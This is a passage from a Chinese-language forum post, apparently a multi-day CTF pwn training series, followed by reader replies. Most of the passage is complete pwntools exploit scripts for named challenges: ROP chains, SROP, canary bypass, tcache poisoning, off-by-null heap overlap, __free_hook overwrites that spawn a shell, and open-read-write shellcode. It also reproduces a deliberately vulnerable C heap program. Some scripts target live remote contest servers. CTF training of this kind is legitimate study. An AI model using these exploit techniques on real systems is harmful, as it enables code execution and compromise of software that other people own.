def add(name, idx, size, dest):
    r.sendafter("Your choice: ", "\x01")
    r.sendafter("Index ? ", str(idx))
    r.sendafter("please name your peach  : ", name)
    r.sendafter("please input the size of your peach:", str(size))
    if dest !=0:
        r.sendafter("please descripe your peach :", dest)
 
def free(idx):
    r.sendafter("Your choice: ", "\x02")
    r.sendlineafter("Index ?", str(idx))
 
def edit(idx, size, dest):
    r.sendafter("Your choice: ", "\x04")
    r.sendafter("Index ? ", str(idx))
    r.sendafter("please input the new size of your peach :", p32(size))
    r.sendafter("start to draw your peach", dest)
 
#r = process('./pp')
r=remote("1.13.162.249","10003")
libc = ELF("libc-2.26.so")
 
r.sendafter("peach?", 'yes')
r.recvuntil("The peach is ")
add("aaa", 0, 0x240, "0")
 
payload = p64(0xfbad1800)+p64(0)*3+'\x58'
edit(-(0x160/8), 0x420,payload)
base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['_IO_2_1_stdout_']-131
f=base+libc.sym['__free_hook']
setc=base+libc.sym['setcontext']+53
add("\xe0", 1, 0x240, '1')
free(0)
free(1)
add("\xe0", 0, 0x30, 0)
free(0)
add('\xe0', 0, 0x240, p64(f))
add("\xe0", 1, 0x240, '1')
add("0",2,0x240,p64(setc))
fake_rsp = f&0xfffffffffffff000
print(hex(fake_rsp))
syscall= base+next(libc.search(asm("syscall\nret")))
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=fake_rsp
frame.rdx=0x2000
frame.rsp=fake_rsp
frame.rip=syscall
add(p64(0),3,0x100,str(frame))
free(3)
prdi_ret = base+libc.search(asm("pop rdi\nret")).next()
prsi_ret = base+libc.search(asm("pop rsi\nret")).next()
prdx_ret = base+libc.search(asm("pop rdx\nret")).next()
prax_ret = base+libc.search(asm("pop rax\nret")).next()
jmp_rsp = base+libc.search(asm("jmp rsp")).next()
mprotect_addr = base + libc.sym['mprotect']
 
payload = p64(prdi_ret)+p64(fake_rsp)
payload += p64(prsi_ret)+p64(0x1000)
payload += p64(prdx_ret)+p64(7)
payload += p64(prax_ret)+p64(10)
payload += p64(syscall) #mprotect(fake_rsp,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,fake_rsp+0x300,0x100))
payload += asm(shellcraft.write(1,fake_rsp+0x300,0x100))
payload += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (fake_rsp+0x100))
r.send(payload)
r.interactive()

2022hgame

enter_the_pwn_land

签到题,要调试下溢出的特性这里视频会讲,贴个exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level='debug'
rdi=0x0000000000401313
ret=0x000000000040101a
#r=process('./1')#+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
r=remote('chuj.top','33082')
def pwn():
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf=ELF('./1')
    #gdb.attach(r,"b *0x4011E4")
    #gdb.attach(r)
    pay=b'\x31'*(0x33)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
    r.sendline(pay)
    r.recvuntil('\n')
    leak=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
    print(hex(leak))
    sys=leak+libc.sym['system']
    sh=0x1b75aa+leak
    #gdb.attach(r,"b *0x4011E4")
    pay=b'\x31'*(0x33)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
    r.sendline(pay)
 
pwn()
r.interactive()

enter_the_evil_pwn_land

利用多线程溢出绕过canary比对,参考如下

https://eternalsakura13.com/2018/04/24/starctf_babystack/

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level='debug'
context.arch="amd64"
rdi=0x0000000000401363
ret=0x000000000040101a
rsi=0x0000000000401361
bss=0x404000+0x500
levae=0x4011FF
r=process('./2')#+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
#r=remote('chuj.top','35301')
def pwn():
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf=ELF('./2')
    pay=b'\x00'*0x30+p64(bss-0x8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(levae)
    pay=pay.ljust(0x900,b"\x00")
    #gdb.attach(r)
    r.sendline(pay)
    #raw_input()
    r.recvuntil("\n")
    leak=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
    print(hex(leak))
    r.sendline(b'\x00'*0x30+p64(ret)+p64(leak+0xe6c81))
pwn()
r.interactive()

oldfashion_orw

栈溢出沙盒,要获取目录名,不难

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
context.log_level='debug'
context.arch='amd64'
r=process('./vuln')
#r=remote('chuj.top','40213')
elf=ELF('./vuln')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x0000000000401443
rsi=0x0000000000401441
ret=0x000000000040101a
bss=0x404000
r.recv()
r.sendline('-1')
r.recv()
pay=b'a'*0x38+p64(rdi)+p64(1)+p64(rsi)+p64(elf.got['write'])+p64(0)+p64(elf.plt['write'])+p64(0x401311)
r.send(pay)
r.recvuntil('!\n')
base=u64(r.recv(6)+b'\x00\x00')-libc.sym['write']
print(hex(base))
rdx = base+0x000000000011c371
rcx=base+0x000000000009f822
poc=b'a'*0x38
poc += p64(rdi)
poc += p64(bss)
poc += p64(rsi)
poc += p64(0x1000)+p64(0)
poc += p64(rdx)
poc += p64(7)+p64(0)
poc += p64(base+libc.sym['mprotect'])+p64(0x401311)
r.recv()
r.sendline('-1')
r.recv()
r.send(poc)
 
poc=b'a'*0x38
poc += p64(rdi)
poc += p64(0)
poc += p64(rsi)
poc += p64(bss+0x200)+p64(0)
poc += p64(rdx)
poc += p64(0x100)+p64(0)
poc += p64(base+libc.sym['read'])
poc += p64(bss+0x200)
r.recv()
r.sendline('-1')
r.recv()
r.send(poc)
r.recv()
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, bss+0x300, 0x100))
shellcode += asm(shellcraft.write(1,bss+0x300, 0x100))
shellcode += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (0x401311))
r.send(shellcode)
flag=r.recvuntil("flag")
flagname=b'flag'+r.recv(20)
print((flagname))
 
poc=b'a'*0x38
poc += p64(rdi)
poc += p64(0)
poc += p64(rsi)
poc += p64(bss+0x600)+p64(0)
poc += p64(rdx)
poc += p64(0x100)+p64(0)
poc += p64(base+libc.sym['read'])
poc += p64(bss+0x600)
r.recv()
r.sendline('-1')
r.recv()
r.send(poc)
r.recv()
shellcode = b''
shellcode += asm(shellcraft.open((flagname)))
shellcode += asm(shellcraft.read(4, bss+0x700, 0x400))
shellcode += asm(shellcraft.write(1,bss+0x700, 0x400))
shellcode += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (0x401311))
r.send(shellcode)
r.interactive()

test_your_gdb

杭电觉得前面的题对新人不友好,就出了个特简单的送分题

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
r=process('./a.out')
#r=remote('chuj.top','50610')
context.log_level='debug'
r.recv()
gdb.attach(r,"b *0x4013BB")
r.send(p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9))
sleep(0.3)
r.recv(0x20-8)
can=u64(r.recv(8))
print(hex(can))
pay=b'a'*0x18+p64(can)+b'a'*8+p64(0x401256)
r.send(pay)
r.interactive()

第六天附件

链接:https://pan.baidu.com/s/1UCIf3ySoXjDwhYpfUvwnSQ?pwd=7mbr
提取码:7mbr
--来自百度网盘超级会员V3的分享

第七天

前言

继续回到堆上面,今天主要讲的是off by xx系列的题目,题目全部选自2021强网拟态的线上初赛,都是不太难的题目,可以说这次强网拟态真的是off系列全家桶了,做完这一天的量没几天就要过年了,大家都开开心心过年吧QWQ,更新什么的2月3之后再更新吧

bitflip

给了个后门,我不会用,直接暴打。

利用scanf传入过大数据会申请chunk的特性,用它来整理fastbin为smallbin

泄露libc,最后利用chunk extend造成堆重叠打free_hook,完美梭哈

(细节看视频)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
r=process('./bitflip')
#r=remote('124.71.130.185','49153')
#context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
one=[0x4f3d5,0x4f432,0x10a41c]
def add(idx,size):
    r.recv()
    r.sendline('1')
    r.recv()
    r.sendline(str(idx))
    r.recv()
    r.sendline(str(size))
 
def edit(idx,con):
    r.recv()
    r.sendline('2')
    r.recv()
    r.sendline(str(idx))
    r.recv()
    r.send(con)
 
def show(idx):
    r.recv()
    r.sendline('3')
    r.sendlineafter("Index: ",str(idx))
def dele(idx):
    r.recv()
    r.sendline('4')
 
    r.sendlineafter("Index: ",str(idx))
for i in range(9):
    add(i,0x28)
for i in range(8):
    dele(i)
add(15,'99999999'*0xf0)
for i in range(8):
    add(i,0x28)
show(7)
r.recvuntil("Content: ")
leak=u64(r.recv(6)+'\x00'*2)
print(hex(leak))
base=leak-0x3ebcc0
print(hex(base))
 
 
for i in range(9,16):
    add(i,0x18)
 
for i in range(16,23):
    add(i,0x28)
add(23,0x18)
add(24,0x28)
add(25,0x18)
add(26,0x18)
for i in range(9,16):
    dele(i)
for i in range(16,23):
    dele(i)
dele(25)
edit(23,'a'*0x18+'\x51')
gdb.attach(r)
dele(24)
raw_input()
add(9,0x48)
free=base+libc.sym["__free_hook"]
edit(9,p64(0)*5+p64(0x21)+p64(free-0x10)+'a'*0x10+'\x21')
for i in range(10,17):
    add(i,0x18)
add(17,0x18)
add(18,0x18)
sys=base+libc.sym['system']
edit(17,'/bin/sh\x00\n')
edit(18,p64(sys)+'\n')
dele(17)
 
r.interactive()

old_school_revenge

off by null 也是套路,修改prevsize向上合并,细节方面没什么要考究的,就是个大小计算,其他的看视频看多几次就好了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
r=process('./old_school_revenge')
#r=remote('123.60.63.39','49153')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx,size):
    r.recv()
    r.sendline('1')
    r.recv()
    r.sendline(str(idx))
    r.recv()
    r.sendline(str(size))
 
def edit(idx,con):
    r.recv()
    r.sendline('2')
    r.recv()
    r.sendline(str(idx))
    r.recv()
    r.sendline(con)
 
def show(idx):
    r.recv()
    r.sendline('3')
    r.recv()
    r.sendline(str(idx))
def dele(idx):
    r.recv()
    r.sendline('4')
    r.recv()
    r.sendline(str(idx))
o_g = [0x4f2c5,0x4f322,0x10a38c]
l64 = lambda      :u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(r.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :r.sendlineafter(str(a),str(b))
sa  = lambda a,b  :r.sendafter(str(a),str(b))
lg  = lambda name,data : r.success(name + ": 0x%x" % data)
se  = lambda payload: r.send(payload)
sl  = lambda payload: r.sendline(payload)
ru  = lambda a     :r.recvuntil(str(a))
for i in range(7):
    add(i,0xf8)
add(7,0xf8)#7
add(8,0x88)#8
add(9,0xf8)#9
add(10,0x88)#10
for i in range(7):
    dele(i)
dele(8)
dele(7)
add(11,0x88)
edit(11,"a"*0x80+p64(0x90+0x100))
dele(9)
for i in range(7):
    add(i,0xf8)
    edit(i,"/bin/sh\x00")
add(12,0xf8)
show(12)
 
 
libc_base = l64()-0x3ebf20
lg("libc_base",libc_base)
free=libc_base+libc.sym['__free_hook']
sys=libc_base+libc.sym['system']
add(13,0x88)
dele(0)
dele(9)
add(14,0x88)
dele(11)
edit(13,p64(free)+'\n')
 
add(22,0x88)
 
edit(22,'/bin/sh\x00')
 
add(23,0x88)
edit(23,p64(sys))
dele(22)
 
r.interactive()

第七天附件:

附件:

链接:https://pan.baidu.com/s/1Mfmri3LHHkI0EZmVrQdLuA?pwd=n2yd

提取码:n2yd

--来自百度网盘超级会员V3的分享

第八天

前言

今天东西就一个,2.33版本的堆申请,2.34的题我想讲,奈何太菜了,没找到相关资料(今年湖湘杯的线上赛题目我没保存,有一道是2.34,祭),how2heap上面的话有点抽象看的。我要是学会了,就会来更新。

(痛苦面具,HWS又改线上了┭┮﹏┭┮ o(╥﹏╥)o)

b站up主推荐

星盟,国资社畜(你有多想pwn)

2.33堆申请规则

先形成tcache然后第一个tcache的fd位存放着tcache chunk地址的左移12位数值,这个值就是整个程序的异或key

其余的堆下次申请地址的时候都会和这个key异或一次。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include<stdio.h>
#include<stdlib.h>
char *heaparray[24];
int num=0;
void init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
 
}
void create_heap() {
  int i;
  for (i = 0; i < 24; i++) {
    if (!heaparray[i]) {
      heaparray[i] = (char *)malloc(0x90);
      if (!heaparray[i]) {
        puts("error");
        exit(2);
      }
      puts("over\n");
      num++;
      break;
    }
  }
}
void delete_heap() {
  int idx;
  char buf[4];
  puts("idx");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= 24) {
    puts("error");
    exit(0);
  }
  if (heaparray[idx]) {
    free(heaparray[idx]);
    puts("over\n");
    num--;
  } else {
    puts("error\n");
  }
}
void show_item() {
  int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heaparray[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heaparray[idx]);
  }
}
void edit_item(){
  int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heaparray[idx]) {
    puts("no hvae things\n");
  } else {
    puts("Content:");
    read(0,heaparray[idx], 0x90);
  }
}
void menu()
{
        puts("1. Get a page");
        puts("2. Take out");
        puts("3. Read page");
        puts("4. edit a page");
}
void main()
{
  init();
  int i;
  while(1)
  {
    menu();
    scanf("%d",&i);
    switch(i)
    {
      case 1:create_heap();break;
      case 2:delete_heap();break;
      case 3:show_item();break;
      case 4:edit_item();break;
      default:puts("error");break;
    }
  }
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#encoding=utf-8
#patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 newyearbook
from pwn import *
r=process('./pwn')
context.log_level='debug'
libc=ELF('/home/q/Desktop/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6')
def add():
    r.sendlineafter("4. edit a page\n",str(1))
 
def dele(idx):
    r.sendlineafter("4. edit a page\n",str(2))
    r.sendlineafter("idx\n",str(idx))
 
def show(idx):
    r.sendlineafter("4. edit a page\n",str(3))
    r.sendlineafter("idx\n",str(idx))
def edit(idx,con):
    r.sendlineafter("4. edit a page\n",str(4))
    r.sendlineafter("idx\n",str(idx))
    r.sendafter("Content:",con)
for i in range(10):
    add()
for i in range(9):
    dele(i)
 
show(0)
r.recvuntil("Content:")
heap1=u64(r.recv(5)+b'\x00'*3)
print(hex(heap1))
edit(7,'\xa0')
show(7)
r.recvuntil("Content:")
libc=u64(r.recv(6)+b'\x00'*2)-0x1e0ca0
print(hex(libc))
system= libc+0x04fa60
f_hook = libc+0x1e3e20
real=((f_hook^heap1))
print (hex(real))
edit(7,'\x00')
edit(6,p64(real))
add()
add()
edit(10,"/bin/sh\x00")
edit(11,p64(system))
dele(10)
#gdb.attach(r)
r.interactive()

第八天附件:

附件:
链接:https://pan.baidu.com/s/116g9xhnLipAQOssjGL9fwA?pwd=wfgy
提取码:wfgy
--来自百度网盘超级会员V3的分享

第九天附件:

链接:https://pan.baidu.com/s/1likYivkuoNFZmFfLFBQxnw?pwd=vvtq
提取码:vvtq
--来自百度网盘超级会员V4的分享


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2023-9-7 13:45 被H.R.P编辑 ,原因: 文章更新
收藏
点赞25
打赏
分享
最新回复 (21)
雪    币: 212
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
keppfor 2022-1-24 13:07
2
1
支持
雪    币: 235
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_Dearest kola 2022-1-24 18:59
3
1
非常感谢!希望能跟住大佬的步伐,有群可以进吗
雪    币: 9609
活跃值: (3452)
能力值: ( LV12,RANK:319 )
在线值:
发帖
回帖
粉丝
堂前燕 1 2022-1-24 20:13
4
1
学习一下
雪    币: 2063
活跃值: (1752)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
陈林00007 2022-2-10 10:19
5
1
XD,第八天,链接不全,没有提取码
雪    币: 6169
活跃值: (2419)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
AcheronHana 2022-2-10 11:20
6
1
陈林00007 XD,第八天,链接不全,没有提取码
在最上边有个提取码,那就是第八天的
雪    币: 6169
活跃值: (2419)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
AcheronHana 2022-2-10 11:21
7
1
感谢大佬分享,之前没有接触过PWN,学习一个~
最后于 2022-2-10 11:21 被AcheronHana编辑 ,原因:
雪    币: 12058
活跃值: (15384)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2022-2-10 11:32
8
1
感谢分享,楼主很厉害,但是需要说明的是正常人大概率不可能在八天内学会这些内容(栈的可以,但是堆就很困难了),所以就算跟不上也不是什么丢脸的事儿
雪    币: 233
活跃值: (2507)
能力值: ( LV7,RANK:115 )
在线值:
发帖
回帖
粉丝
H.R.P 2022-2-10 11:55
9
0
陈林00007 XD,第八天,链接不全,没有提取码
谢谢,已更正
雪    币: 200
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
sere 2022-2-10 12:54
10
1
牛的
雪    币: 78
活跃值: (1422)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
菜小基 2022-2-10 13:08
11
1
支持,楼主有心
雪    币: 576
活跃值: (2035)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kakasasa 2022-2-10 13:30
12
1
感谢分享 ,没玩过ctf,相关的貌似都是linux相关的,特别是堆溢出利用相关好像网络上windows的资料少很多(闭源的原因)。
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
旅行的意义13 2022-2-13 10:21
13
0
感谢,好帖我顶
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
旅行的意义13 2022-2-13 10:27
14
0

d

最后于 2022-2-20 16:07 被旅行的意义13编辑 ,原因:
雪    币: 193
活跃值: (291)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Heart_ 2022-2-13 11:43
15
0
太牛啦 支持楼主
雪    币: 31
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
风语如歌 2022-3-31 00:27
16
0
有没有大佬讲一下第一天canary,为啥要*0x100啊,不是加过‘\x00’了,应该够8位了啊,为啥要再左移两位,canary末位的是'\x00'还是0x00啊?
雪    币: 233
活跃值: (2507)
能力值: ( LV7,RANK:115 )
在线值:
发帖
回帖
粉丝
H.R.P 2022-3-31 12:16
17
1
风语如歌 有没有大佬讲一下第一天canary,为啥要*0x100啊,不是加过‘\x00’了,应该够8位了啊,为啥要再左移两位,canary末位的是'\x00'还是0x00啊?
先把canary的末尾的0字节覆盖然后才能输出,所以接受的时候少了'\x00'这个字节,就要乘上0x100补全数据,canary末尾是'\x00' pwntools数据包装发送过去的十六进制数据会自动转化成字节的
雪    币: 725
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
浪够了玩透了 2023-8-16 12:48
18
0
大佬可以重新发一下附件吗
雪    币: 154
活跃值: (546)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
阿牛 2023-8-16 15:12
19
0
百度网盘全没了,能不能补一下链接,大佬
雪    币: 233
活跃值: (2507)
能力值: ( LV7,RANK:115 )
在线值:
发帖
回帖
粉丝
H.R.P 2023-9-7 13:40
20
0
阿牛 百度网盘全没了,能不能补一下链接,大佬
雪    币: 233
活跃值: (2507)
能力值: ( LV7,RANK:115 )
在线值:
发帖
回帖
粉丝
H.R.P 2023-9-7 13:40
21
0
雪    币: 233
活跃值: (2507)
能力值: ( LV7,RANK:115 )
在线值:
发帖
回帖
粉丝
H.R.P 2023-9-7 13:45
22
0
2023年9月7日 链接:https://pan.baidu.com/s/1KmyJh4yZGIGu9ilOiYAvcg?pwd=eoe6 
提取码:eoe6 
--来自百度网盘超级会员V5的分享
游客
登录 | 注册 方可回帖
返回